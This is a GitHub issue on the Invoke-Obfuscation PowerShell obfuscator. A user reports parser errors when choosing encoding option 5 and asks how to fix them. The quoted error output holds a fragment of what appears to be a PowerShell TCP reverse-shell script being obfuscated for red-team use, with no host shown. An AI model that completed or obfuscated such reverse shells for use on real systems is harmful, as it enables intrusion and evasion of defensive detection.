danielbohannon / Invoke-Obfuscation

PowerShell Obfuscator
Apache License 2.0
3.59k stars 759 forks source link

"Invoke-Obfuscation.ps1" file code error. #61

Open siam41164 opened 12 months ago

siam41164 commented 12 months ago

when i choose encoding options 5 then show this error when i choose another number show this error but second error code line (1264) was changed, how to solve it?

Invoke-Obfuscation\Encoding> 5 MethodInvocationException: /home/siam/redteam/Invoke-Obfuscation/Invoke-Obfuscation.ps1:1178 Line | 1178 | … $ObfCommandScriptBlock = $ExecutionContext.InvokeCommand. … | ~~~~~~~~~~~~~ | Exception calling "NewScriptBlock" with "1" argument(s): "At line:1 char:503 + … | Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()" +
| ~ The string is missing the terminator: ". At line:1 char:503 + … | Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()" +
| ~ Unexpected token '" ' in expression or statement."

Out-SecureStringCommand: /home/siam/redteam/Invoke-Obfuscation/Invoke-Obfuscation.ps1:1264 Line | 1264 | … reStringCommand -ScriptBlock $ObfCommandScriptBlock -PassTh … | ~~~~~~ | Cannot validate argument on parameter 'ScriptBlock'. The argument is null or | empty. Provide an argument that is not null or empty, and then try the command | again.